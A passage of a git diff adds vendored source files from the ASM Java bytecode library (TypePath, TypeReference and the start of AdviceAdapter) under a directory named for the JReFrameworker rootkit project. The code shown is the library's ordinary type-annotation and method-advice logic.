Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. + +package org.objectweb.asm; + +/** + * The path to a type argument, wildcard bound, array element type, or static inner type within an + * enclosing type. + * + * @author Eric Bruneton + */ +public final class TypePath { + + /** A type path step that steps into the element type of an array type. See {@link #getStep}. */ + public static final int ARRAY_ELEMENT = 0; + + /** A type path step that steps into the nested type of a class type. See {@link #getStep}. */ + public static final int INNER_TYPE = 1; + + /** A type path step that steps into the bound of a wildcard type. See {@link #getStep}. */ + public static final int WILDCARD_BOUND = 2; + + /** A type path step that steps into a type argument of a generic type. See {@link #getStep}. */ + public static final int TYPE_ARGUMENT = 3; + + /** + * The byte array where the 'type_path' structure - as defined in the Java Virtual Machine + * Specification (JVMS) - corresponding to this TypePath is stored. The first byte of the + * structure in this array is given by {@link #typePathOffset}. + * + * @see JVMS + * 4.7.20.2 + */ + private final byte[] typePathContainer; + + /** The offset of the first byte of the type_path JVMS structure in {@link #typePathContainer}. */ + private final int typePathOffset; + + /** + * Constructs a new TypePath. + * + * @param typePathContainer a byte array containing a type_path JVMS structure. + * @param typePathOffset the offset of the first byte of the type_path structure in + * typePathContainer. + */ + TypePath(final byte[] typePathContainer, final int typePathOffset) { + this.typePathContainer = typePathContainer; + this.typePathOffset = typePathOffset; + } + + /** + * Returns the length of this path, i.e. its number of steps. + * + * @return the length of this path. + */ + public int getLength() { + // path_length is stored in the first byte of a type_path. + return typePathContainer[typePathOffset]; + } + + /** + * Returns the value of the given step of this path. + * + * @param index an index between 0 and {@link #getLength()}, exclusive. + * @return one of {@link #ARRAY_ELEMENT}, {@link #INNER_TYPE}, {@link #WILDCARD_BOUND}, or {@link + * #TYPE_ARGUMENT}. + */ + public int getStep(final int index) { + // Returns the type_path_kind of the path element of the given index. + return typePathContainer[typePathOffset + 2 * index + 1]; + } + + /** + * Returns the index of the type argument that the given step is stepping into. This method should + * only be used for steps whose value is {@link #TYPE_ARGUMENT}. + * + * @param index an index between 0 and {@link #getLength()}, exclusive. + * @return the index of the type argument that the given step is stepping into. + */ + public int getStepArgument(final int index) { + // Returns the type_argument_index of the path element of the given index. + return typePathContainer[typePathOffset + 2 * index + 2]; + } + + /** + * Converts a type path in string form, in the format used by {@link #toString()}, into a TypePath + * object. + * + * @param typePath a type path in string form, in the format used by {@link #toString()}. May be + * {@literal null} or empty. + * @return the corresponding TypePath object, or {@literal null} if the path is empty. + */ + public static TypePath fromString(final String typePath) { + if (typePath == null || typePath.length() == 0) { + return null; + } + int typePathLength = typePath.length(); + ByteVector output = new ByteVector(typePathLength); + output.putByte(0); + int typePathIndex = 0; + while (typePathIndex < typePathLength) { + char c = typePath.charAt(typePathIndex++); + if (c == '[') { + output.put11(ARRAY_ELEMENT, 0); + } else if (c == '.') { + output.put11(INNER_TYPE, 0); + } else if (c == '*') { + output.put11(WILDCARD_BOUND, 0); + } else if (c >= '0' && c <= '9') { + int typeArg = c - '0'; + while (typePathIndex < typePathLength) { + c = typePath.charAt(typePathIndex++); + if (c >= '0' && c <= '9') { + typeArg = typeArg * 10 + c - '0'; + } else if (c == ';') { + break; + } else { + throw new IllegalArgumentException(); + } + } + output.put11(TYPE_ARGUMENT, typeArg); + } else { + throw new IllegalArgumentException(); + } + } + output.data[0] = (byte) (output.length / 2); + return new TypePath(output.data, 0); + } + + /** + * Returns a string representation of this type path. {@link #ARRAY_ELEMENT} steps are represented + * with '[', {@link #INNER_TYPE} steps with '.', {@link #WILDCARD_BOUND} steps with '*' and {@link + * #TYPE_ARGUMENT} steps with their type argument index in decimal form followed by ';'. + */ + @Override + public String toString() { + int length = getLength(); + StringBuilder result = new StringBuilder(length * 2); + for (int i = 0; i < length; ++i) { + switch (getStep(i)) { + case ARRAY_ELEMENT: + result.append('['); + break; + case INNER_TYPE: + result.append('.'); + break; + case WILDCARD_BOUND: + result.append('*'); + break; + case TYPE_ARGUMENT: + result.append(getStepArgument(i)).append(';'); + break; + default: + throw new AssertionError(); + } + } + return result.toString(); + } + + /** + * Puts the type_path JVMS structure corresponding to the given TypePath into the given + * ByteVector. + * + * @param typePath a TypePath instance, or {@literal null} for empty paths. + * @param output where the type path must be put. + */ + static void put(final TypePath typePath, final ByteVector output) { + if (typePath == null) { + output.putByte(0); + } else { + int length = typePath.typePathContainer[typePath.typePathOffset] * 2 + 1; + output.putByteArray(typePath.typePathContainer, typePath.typePathOffset, length); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypeReference.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypeReference.java new file mode 100644 index 0000000..ec927e9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/TypeReference.java @@ -0,0 +1,436 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. + +package org.objectweb.asm; + +/** + * A reference to a type appearing in a class, field or method declaration, or on an instruction. + * Such a reference designates the part of the class where the referenced type is appearing (e.g. an + * 'extends', 'implements' or 'throws' clause, a 'new' instruction, a 'catch' clause, a type cast, a + * local variable declaration, etc). + * + * @author Eric Bruneton + */ +public class TypeReference { + + /** + * The sort of type references that target a type parameter of a generic class. See {@link + * #getSort}. + */ + public static final int CLASS_TYPE_PARAMETER = 0x00; + + /** + * The sort of type references that target a type parameter of a generic method. See {@link + * #getSort}. + */ + public static final int METHOD_TYPE_PARAMETER = 0x01; + + /** + * The sort of type references that target the super class of a class or one of the interfaces it + * implements. See {@link #getSort}. + */ + public static final int CLASS_EXTENDS = 0x10; + + /** + * The sort of type references that target a bound of a type parameter of a generic class. See + * {@link #getSort}. + */ + public static final int CLASS_TYPE_PARAMETER_BOUND = 0x11; + + /** + * The sort of type references that target a bound of a type parameter of a generic method. See + * {@link #getSort}. + */ + public static final int METHOD_TYPE_PARAMETER_BOUND = 0x12; + + /** The sort of type references that target the type of a field. See {@link #getSort}. */ + public static final int FIELD = 0x13; + + /** The sort of type references that target the return type of a method. See {@link #getSort}. */ + public static final int METHOD_RETURN = 0x14; + + /** + * The sort of type references that target the receiver type of a method. See {@link #getSort}. + */ + public static final int METHOD_RECEIVER = 0x15; + + /** + * The sort of type references that target the type of a formal parameter of a method. See {@link + * #getSort}. + */ + public static final int METHOD_FORMAL_PARAMETER = 0x16; + + /** + * The sort of type references that target the type of an exception declared in the throws clause + * of a method. See {@link #getSort}. + */ + public static final int THROWS = 0x17; + + /** + * The sort of type references that target the type of a local variable in a method. See {@link + * #getSort}. + */ + public static final int LOCAL_VARIABLE = 0x40; + + /** + * The sort of type references that target the type of a resource variable in a method. See {@link + * #getSort}. + */ + public static final int RESOURCE_VARIABLE = 0x41; + + /** + * The sort of type references that target the type of the exception of a 'catch' clause in a + * method. See {@link #getSort}. + */ + public static final int EXCEPTION_PARAMETER = 0x42; + + /** + * The sort of type references that target the type declared in an 'instanceof' instruction. See + * {@link #getSort}. + */ + public static final int INSTANCEOF = 0x43; + + /** + * The sort of type references that target the type of the object created by a 'new' instruction. + * See {@link #getSort}. + */ + public static final int NEW = 0x44; + + /** + * The sort of type references that target the receiver type of a constructor reference. See + * {@link #getSort}. + */ + public static final int CONSTRUCTOR_REFERENCE = 0x45; + + /** + * The sort of type references that target the receiver type of a method reference. See {@link + * #getSort}. + */ + public static final int METHOD_REFERENCE = 0x46; + + /** + * The sort of type references that target the type declared in an explicit or implicit cast + * instruction. See {@link #getSort}. + */ + public static final int CAST = 0x47; + + /** + * The sort of type references that target a type parameter of a generic constructor in a + * constructor call. See {@link #getSort}. + */ + public static final int CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT = 0x48; + + /** + * The sort of type references that target a type parameter of a generic method in a method call. + * See {@link #getSort}. + */ + public static final int METHOD_INVOCATION_TYPE_ARGUMENT = 0x49; + + /** + * The sort of type references that target a type parameter of a generic constructor in a + * constructor reference. See {@link #getSort}. + */ + public static final int CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT = 0x4A; + + /** + * The sort of type references that target a type parameter of a generic method in a method + * reference. See {@link #getSort}. + */ + public static final int METHOD_REFERENCE_TYPE_ARGUMENT = 0x4B; + + /** + * The target_type and target_info structures - as defined in the Java Virtual Machine + * Specification (JVMS) - corresponding to this type reference. target_type uses one byte, and all + * the target_info union fields use up to 3 bytes (except localvar_target, handled with the + * specific method {@link MethodVisitor#visitLocalVariableAnnotation}). Thus, both structures can + * be stored in an int. + * + *

This int field stores target_type (called the TypeReference 'sort' in the public API of this + * class) in its most significant byte, followed by the target_info fields. Depending on + * target_type, 1, 2 or even 3 least significant bytes of this field are unused. target_info + * fields which reference bytecode offsets are set to 0 (these offsets are ignored in ClassReader, + * and recomputed in MethodWriter). + * + * @see JVMS + * 4.7.20 + * @see JVMS + * 4.7.20.1 + */ + private final int targetTypeAndInfo; + + /** + * Constructs a new TypeReference. + * + * @param typeRef the int encoded value of the type reference, as received in a visit method + * related to type annotations, such as {@link ClassVisitor#visitTypeAnnotation}. + */ + public TypeReference(final int typeRef) { + this.targetTypeAndInfo = typeRef; + } + + /** + * Returns a type reference of the given sort. + * + * @param sort one of {@link #FIELD}, {@link #METHOD_RETURN}, {@link #METHOD_RECEIVER}, {@link + * #LOCAL_VARIABLE}, {@link #RESOURCE_VARIABLE}, {@link #INSTANCEOF}, {@link #NEW}, {@link + * #CONSTRUCTOR_REFERENCE}, or {@link #METHOD_REFERENCE}. + * @return a type reference of the given sort. + */ + public static TypeReference newTypeReference(final int sort) { + return new TypeReference(sort << 24); + } + + /** + * Returns a reference to a type parameter of a generic class or method. + * + * @param sort one of {@link #CLASS_TYPE_PARAMETER} or {@link #METHOD_TYPE_PARAMETER}. + * @param paramIndex the type parameter index. + * @return a reference to the given generic class or method type parameter. + */ + public static TypeReference newTypeParameterReference(final int sort, final int paramIndex) { + return new TypeReference((sort << 24) | (paramIndex << 16)); + } + + /** + * Returns a reference to a type parameter bound of a generic class or method. + * + * @param sort one of {@link #CLASS_TYPE_PARAMETER} or {@link #METHOD_TYPE_PARAMETER}. + * @param paramIndex the type parameter index. + * @param boundIndex the type bound index within the above type parameters. + * @return a reference to the given generic class or method type parameter bound. + */ + public static TypeReference newTypeParameterBoundReference( + final int sort, final int paramIndex, final int boundIndex) { + return new TypeReference((sort << 24) | (paramIndex << 16) | (boundIndex << 8)); + } + + /** + * Returns a reference to the super class or to an interface of the 'implements' clause of a + * class. + * + * @param itfIndex the index of an interface in the 'implements' clause of a class, or -1 to + * reference the super class of the class. + * @return a reference to the given super type of a class. + */ + public static TypeReference newSuperTypeReference(final int itfIndex) { + return new TypeReference((CLASS_EXTENDS << 24) | ((itfIndex & 0xFFFF) << 8)); + } + + /** + * Returns a reference to the type of a formal parameter of a method. + * + * @param paramIndex the formal parameter index. + * @return a reference to the type of the given method formal parameter. + */ + public static TypeReference newFormalParameterReference(final int paramIndex) { + return new TypeReference((METHOD_FORMAL_PARAMETER << 24) | (paramIndex << 16)); + } + + /** + * Returns a reference to the type of an exception, in a 'throws' clause of a method. + * + * @param exceptionIndex the index of an exception in a 'throws' clause of a method. + * @return a reference to the type of the given exception. + */ + public static TypeReference newExceptionReference(final int exceptionIndex) { + return new TypeReference((THROWS << 24) | (exceptionIndex << 8)); + } + + /** + * Returns a reference to the type of the exception declared in a 'catch' clause of a method. + * + * @param tryCatchBlockIndex the index of a try catch block (using the order in which they are + * visited with visitTryCatchBlock). + * @return a reference to the type of the given exception. + */ + public static TypeReference newTryCatchReference(final int tryCatchBlockIndex) { + return new TypeReference((EXCEPTION_PARAMETER << 24) | (tryCatchBlockIndex << 8)); + } + + /** + * Returns a reference to the type of a type argument in a constructor or method call or + * reference. + * + * @param sort one of {@link #CAST}, {@link #CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT}, {@link + * #METHOD_INVOCATION_TYPE_ARGUMENT}, {@link #CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT}, or {@link + * #METHOD_REFERENCE_TYPE_ARGUMENT}. + * @param argIndex the type argument index. + * @return a reference to the type of the given type argument. + */ + public static TypeReference newTypeArgumentReference(final int sort, final int argIndex) { + return new TypeReference((sort << 24) | argIndex); + } + + /** + * Returns the sort of this type reference. + * + * @return one of {@link #CLASS_TYPE_PARAMETER}, {@link #METHOD_TYPE_PARAMETER}, {@link + * #CLASS_EXTENDS}, {@link #CLASS_TYPE_PARAMETER_BOUND}, {@link #METHOD_TYPE_PARAMETER_BOUND}, + * {@link #FIELD}, {@link #METHOD_RETURN}, {@link #METHOD_RECEIVER}, {@link + * #METHOD_FORMAL_PARAMETER}, {@link #THROWS}, {@link #LOCAL_VARIABLE}, {@link + * #RESOURCE_VARIABLE}, {@link #EXCEPTION_PARAMETER}, {@link #INSTANCEOF}, {@link #NEW}, + * {@link #CONSTRUCTOR_REFERENCE}, {@link #METHOD_REFERENCE}, {@link #CAST}, {@link + * #CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT}, {@link #METHOD_INVOCATION_TYPE_ARGUMENT}, {@link + * #CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT}, or {@link #METHOD_REFERENCE_TYPE_ARGUMENT}. + */ + public int getSort() { + return targetTypeAndInfo >>> 24; + } + + /** + * Returns the index of the type parameter referenced by this type reference. This method must + * only be used for type references whose sort is {@link #CLASS_TYPE_PARAMETER}, {@link + * #METHOD_TYPE_PARAMETER}, {@link #CLASS_TYPE_PARAMETER_BOUND} or {@link + * #METHOD_TYPE_PARAMETER_BOUND}. + * + * @return a type parameter index. + */ + public int getTypeParameterIndex() { + return (targetTypeAndInfo & 0x00FF0000) >> 16; + } + + /** + * Returns the index of the type parameter bound, within the type parameter {@link + * #getTypeParameterIndex}, referenced by this type reference. This method must only be used for + * type references whose sort is {@link #CLASS_TYPE_PARAMETER_BOUND} or {@link + * #METHOD_TYPE_PARAMETER_BOUND}. + * + * @return a type parameter bound index. + */ + public int getTypeParameterBoundIndex() { + return (targetTypeAndInfo & 0x0000FF00) >> 8; + } + + /** + * Returns the index of the "super type" of a class that is referenced by this type reference. + * This method must only be used for type references whose sort is {@link #CLASS_EXTENDS}. + * + * @return the index of an interface in the 'implements' clause of a class, or -1 if this type + * reference references the type of the super class. + */ + public int getSuperTypeIndex() { + return (short) ((targetTypeAndInfo & 0x00FFFF00) >> 8); + } + + /** + * Returns the index of the formal parameter whose type is referenced by this type reference. This + * method must only be used for type references whose sort is {@link #METHOD_FORMAL_PARAMETER}. + * + * @return a formal parameter index. + */ + public int getFormalParameterIndex() { + return (targetTypeAndInfo & 0x00FF0000) >> 16; + } + + /** + * Returns the index of the exception, in a 'throws' clause of a method, whose type is referenced + * by this type reference. This method must only be used for type references whose sort is {@link + * #THROWS}. + * + * @return the index of an exception in the 'throws' clause of a method. + */ + public int getExceptionIndex() { + return (targetTypeAndInfo & 0x00FFFF00) >> 8; + } + + /** + * Returns the index of the try catch block (using the order in which they are visited with + * visitTryCatchBlock), whose 'catch' type is referenced by this type reference. This method must + * only be used for type references whose sort is {@link #EXCEPTION_PARAMETER} . + * + * @return the index of an exception in the 'throws' clause of a method. + */ + public int getTryCatchBlockIndex() { + return (targetTypeAndInfo & 0x00FFFF00) >> 8; + } + + /** + * Returns the index of the type argument referenced by this type reference. This method must only + * be used for type references whose sort is {@link #CAST}, {@link + * #CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT}, {@link #METHOD_INVOCATION_TYPE_ARGUMENT}, {@link + * #CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT}, or {@link #METHOD_REFERENCE_TYPE_ARGUMENT}. + * + * @return a type parameter index. + */ + public int getTypeArgumentIndex() { + return targetTypeAndInfo & 0xFF; + } + + /** + * Returns the int encoded value of this type reference, suitable for use in visit methods related + * to type annotations, like visitTypeAnnotation. + * + * @return the int encoded value of this type reference. + */ + public int getValue() { + return targetTypeAndInfo; + } + + /** + * Puts the given target_type and target_info JVMS structures into the given ByteVector. + * + * @param targetTypeAndInfo a target_type and a target_info structures encoded as in {@link + * #targetTypeAndInfo}. LOCAL_VARIABLE and RESOURCE_VARIABLE target types are not supported. + * @param output where the type reference must be put. + */ + static void putTarget(final int targetTypeAndInfo, final ByteVector output) { + switch (targetTypeAndInfo >>> 24) { + case CLASS_TYPE_PARAMETER: + case METHOD_TYPE_PARAMETER: + case METHOD_FORMAL_PARAMETER: + output.putShort(targetTypeAndInfo >>> 16); + break; + case FIELD: + case METHOD_RETURN: + case METHOD_RECEIVER: + output.putByte(targetTypeAndInfo >>> 24); + break; + case CAST: + case CONSTRUCTOR_INVOCATION_TYPE_ARGUMENT: + case METHOD_INVOCATION_TYPE_ARGUMENT: + case CONSTRUCTOR_REFERENCE_TYPE_ARGUMENT: + case METHOD_REFERENCE_TYPE_ARGUMENT: + output.putInt(targetTypeAndInfo); + break; + case CLASS_EXTENDS: + case CLASS_TYPE_PARAMETER_BOUND: + case METHOD_TYPE_PARAMETER_BOUND: + case THROWS: + case EXCEPTION_PARAMETER: + case INSTANCEOF: + case NEW: + case CONSTRUCTOR_REFERENCE: + case METHOD_REFERENCE: + output.put12(targetTypeAndInfo >>> 24, (targetTypeAndInfo & 0xFFFF00) >> 8); + break; + default: + throw new IllegalArgumentException(); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AdviceAdapter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AdviceAdapter.java new file mode 100644 index 0000000..46aa0cd --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/commons/AdviceAdapter.java @@ -0,0 +1,659 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm.commons; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import org.objectweb.asm.ConstantDynamic; +import org.objectweb.asm.Handle; +import org.objectweb.asm.Label; +import org.objectweb.asm.MethodVisitor; +import org.objectweb.asm.Opcodes; +import org.objectweb.asm.Type; + +/** + * A {@link MethodVisitor} to insert before, after and around advices in methods and constructors. + * For constructors, the code keeps track of the elements on the stack in order to detect when the + * super class constructor is called (note that there can be multiple such calls in different + * branches). {@code onMethodEnter} is called after each super class constructor call, because the + * object cannot be used before it is properly initialized. + * + * @author Eugene Kuleshov + * @author Eric Bruneton + */ +public abstract class AdviceAdapter extends GeneratorAdapter implements Opcodes { + + /** The "uninitialized this" value. */ + private static final Object UNINITIALIZED_THIS = new Object(); + + /** Any value other than "uninitialized this". */ + private static final Object OTHER = new Object(); + + /** Prefix of the error message when invalid opcodes are found. */ + private static final String INVALID_OPCODE = "Invalid opcode "; + + /** The access flags of the visited method. */ + protected int methodAccess; + + /** The descriptor of the visited method. */ + protected String methodDesc; + + /** Whether the visited method is a constructor. */ + private final boolean isConstructor; + + /** + * Whether the super class constructor has been called (if the visited method is a constructor), + * at the current instruction. There can be multiple call sites to the super constructor (e.g. for + * Java code such as {@code super(expr ? value1 : value2);}), in different branches. When scanning + * the bytecode linearly, we can move from one branch where the super constructor has been called + * to another where it has not been called yet. Therefore, this value can change from false to + * true, and vice-versa. + */ + private boolean superClassConstructorCalled; + + /** + * The values on the current execution stack frame (long and double are represented by two + * elements). Each value is either {@link #UNINITIALIZED_THIS} (for the uninitialized this value), + * or {@link #OTHER} (for any other value). This field is only maintained for constructors, in + * branches where the super class constructor has not been called yet. + */ + private List stackFrame; + + /** + * The stack map frames corresponding to the labels of the forward jumps made *before* the super + * class constructor has been called (note that the Java Virtual Machine forbids backward jumps + * before the super class constructor is called). Note that by definition (cf. the 'before'), when + * we reach a label from this map, {@link #superClassConstructorCalled} must be reset to false. + * This field is only maintained for constructors. + */ + private Map> forwardJumpStackFrames; + + /** + * Constructs a new {@link AdviceAdapter}. + * + * @param api the ASM API version implemented by this visitor. Must be one of {@link + * Opcodes#ASM4}, {@link Opcodes#ASM5}, {@link Opcodes#ASM6} or {@link Opcodes#ASM7}. + * @param methodVisitor the method visitor to which this adapter delegates calls. + * @param access the method's access flags (see {@link Opcodes}). + * @param name the method's name. + * @param descriptor the method's descriptor (see {@link Type Type}). + */ + protected AdviceAdapter( + final int api, + final MethodVisitor methodVisitor, + final int access, + final String name, + final String descriptor) { + super(api, methodVisitor, access, name, descriptor); + methodAccess = access; + methodDesc = descriptor; + isConstructor = "".equals(name); + } + + @Override + public void visitCode() { + super.visitCode(); + if (isConstructor) { + stackFrame = new ArrayList(); + forwardJumpStackFrames = new HashMap>(); + } else { + onMethodEnter(); + } + } + + @Override + public void visitLabel(final Label label) { + super.visitLabel(label); + if (isConstructor && forwardJumpStackFrames != null) { + List labelStackFrame = forwardJumpStackFrames.get(label); + if (labelStackFrame != null) { + stackFrame = labelStackFrame; + superClassConstructorCalled = false; + forwardJumpStackFrames.remove(label); + } + } + } + + @Override + public void visitInsn(final int opcode) { + if (isConstructor && !superClassConstructorCalled) { + int stackSize; + switch (opcode) { + case IRETURN: + case FRETURN: + case ARETURN: + case LRETURN: + case DRETURN: + throw new IllegalArgumentException("Invalid return in constructor"); + case RETURN: // empty stack + onMethodExit(opcode); + break; + case ATHROW: // 1 before n/a after + popValue(); + onMethodExit(opcode); + break; + case NOP: + case LALOAD: // remove 2 add 2 + case DALOAD: // remove 2 add 2 + case LNEG: + case DNEG: + case FNEG: + case INEG: + case L2D: + case D2L: + case F2I: + case I2B: + case I2C: + case I2S: + case I2F: + case ARRAYLENGTH: + break; + case ACONST_NULL: + case ICONST_M1: + case ICONST_0: + case ICONST_1: + case ICONST_2: + case ICONST_3: + case ICONST_4: + case ICONST_5: + case FCONST_0: + case FCONST_1: + case FCONST_2: + case F2L: // 1 before 2 after + case F2D: + case I2L: + case I2D: + pushValue(OTHER); + break; + case LCONST_0: + case LCONST_1: + case DCONST_0: + case DCONST_1: + pushValue(OTHER); + pushValue(OTHER); + break; + case IALOAD: // remove 2 add 1 + case FALOAD: // remove 2 add 1 + case AALOAD: // remove 2 add 1 + case BALOAD: // remove 2 add 1 + case CALOAD: // remove 2 add 1 + case SALOAD: // remove 2 add 1 + case POP: + case IADD: + case FADD: + case ISUB: + case LSHL: // 3 before 2 after + case LSHR: // 3 before 2 after + case LUSHR: // 3 before 2 after + case L2I: // 2 before 1 after + case L2F: // 2 before 1 after + case D2I: // 2 before 1 after + case D2F: // 2 before 1 after + case FSUB: + case FMUL: + case FDIV: + case FREM: + case FCMPL: // 2 before 1 after + case FCMPG: // 2 before 1 after + case IMUL: + case IDIV: + case IREM: + case ISHL: + case ISHR: + case IUSHR: + case IAND: + case IOR: + case IXOR: + case MONITORENTER: + case MONITOREXIT: + popValue(); + break; + case POP2: + case LSUB: + case LMUL: + case LDIV: + case LREM: + case LADD: + case LAND: + case LOR: + case LXOR: + case DADD: + case DMUL: + case DSUB: + case DDIV: + case DREM: + popValue(); + popValue(); + break; + case IASTORE: + case FASTORE: + case AASTORE: + case BASTORE: + case CASTORE: + case SASTORE: + case LCMP: // 4 before 1 after + case DCMPL: + case DCMPG: + popValue(); + popValue(); + popValue(); + break; + case LASTORE: + case DASTORE: + popValue(); + popValue(); + popValue(); + popValue(); + break; + case DUP: + pushValue(peekValue()); + break; + case DUP_X1: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 2, stackFrame.get(stackSize - 1)); + break; + case DUP_X2: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 3, stackFrame.get(stackSize - 1)); + break; + case DUP2: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 2, stackFrame.get(stackSize - 1)); + stackFrame.add(stackSize - 2, stackFrame.get(stackSize - 1)); + break; + case DUP2_X1: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 3, stackFrame.get(stackSize - 1)); + stackFrame.add(stackSize - 3, stackFrame.get(stackSize - 1)); + break; + case DUP2_X2: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 4, stackFrame.get(stackSize - 1)); + stackFrame.add(stackSize - 4, stackFrame.get(stackSize - 1)); + break; + case SWAP: + stackSize = stackFrame.size(); + stackFrame.add(stackSize - 2, stackFrame.get(stackSize - 1)); + stackFrame.remove(stackSize); + break; + default: + throw new IllegalArgumentException(INVALID_OPCODE + opcode); + } + } else { + switch (opcode) { + case RETURN: + case IRETURN: + case FRETURN: + case ARETURN: + case LRETURN: + case DRETURN: + case ATHROW: + onMethodExit(opcode); + break; + default: + break; + } + } + super.visitInsn(opcode); + } + + @Override + public void visitVarInsn(final int opcode, final int var) { + super.visitVarInsn(opcode, var); + if (isConstructor && !superClassConstructorCalled) { + switch (opcode) { + case ILOAD: + case FLOAD: + pushValue(OTHER); + break; + case LLOAD: + case DLOAD: + pushValue(OTHER); + pushValue(OTHER); + break; + case ALOAD: + pushValue(var == 0 ? UNINITIALIZED_THIS : OTHER); + break; + case ASTORE: + case ISTORE: + case FSTORE: + popValue(); + break; + case LSTORE: + case DSTORE: + popValue(); + popValue(); + break; + default: + throw new IllegalArgumentException(INVALID_OPCODE + opcode); + } + } + } + + @Override + public void visitFieldInsn( + final int opcode, final String owner, final String name, final String descriptor) { + super.visitFieldInsn(opcode, owner, name, descriptor); + if (isConstructor && !superClassConstructorCalled) { + char firstDescriptorChar = descriptor.charAt(0); + boolean longOrDouble = firstDescriptorChar == 'J' || firstDescriptorChar == 'D'; + switch (opcode) { + case GETSTATIC: + pushValue(OTHER); + if (longOrDouble) { + pushValue(OTHER); + } + break; + case PUTSTATIC: + popValue(); + 